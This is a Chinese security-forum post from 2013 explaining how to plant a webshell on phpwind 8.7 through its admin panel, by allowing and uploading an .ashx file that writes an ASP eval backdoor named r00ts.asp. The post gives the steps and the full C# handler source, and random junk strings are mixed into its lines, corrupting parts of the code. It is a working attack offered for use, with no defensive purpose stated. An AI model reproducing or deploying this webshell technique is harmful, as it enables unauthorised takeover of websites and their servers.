找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2106|回复: 0
打印 上一主题 下一主题

phpwind 8.7 后台拿shell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-26 12:41:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
8 a& `1 o" b! D0 z
) a( Q; f2 _1 f/ G% ^群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx: |% M! W  L5 o, D2 S- b0 X

/ G" p$ p- C$ K发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整3 @1 P3 z3 r& Y

* n( ]! ]9 ~3 n$ P1 a" i然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx( i2 ~/ _! A3 Z2 ?# y$ X
# d5 n! V* }- B
打开之后空白 会在目录底下生成r00ts.asp 密码r00ts6 E0 r7 m; B  |; P1 t; o/ G$ |1 ]

, b$ Q/ d' L7 R# I* l! S- `% l( m下面是代码:
- L1 ?6 [7 y2 Q: P 5 U/ e( v* u) Y* {
<%@ WebHandler Language="C#"Class="Handler" %>
+ V3 U% J! K1 J$ ^1 L; f6 U& {9 eusing System;
$ Q' b; _% T  Z5 \+ r7 i  b' Nusing System.Web;" {6 W: b# V8 m4 O! @4 m
using System.IO;
6 p% P- h7 T4 K$ w- r+ j' Spublic class Handler : IHttpHandler {( T# E7 G6 o/ e+ `% S$ N* S
public void ProcessRequest (HttpContext context) {
7 }+ M( ~- O7 H" k5 fcontext.Response.ContentType = "text/plain";
% |1 w/ y9 v5 JStreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
. y7 x( Y! W1 G6 {file1.Write("<%eval request(\"r00ts\")%>");+ P; v8 K# G4 Q5 F  `" H: `3 B
file1.Flush();
( o1 v/ l7 _3 ~" bfile1.Close();* ~( w9 b4 [& ^% Q7 B
}
2 _( h, O0 p$ v. h# Upublic bool IsReusable {( D, ]+ J7 f. @: B
get {3 P2 s; v4 ^7 \! }. g& U
return false;; ^, G% g+ I2 n3 l9 `2 U# k
}
2 C: }0 E/ q, O}8 L' A/ N! o' k9 J1 F8 ], U( R
}) s# x) u+ C" F  _1 [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表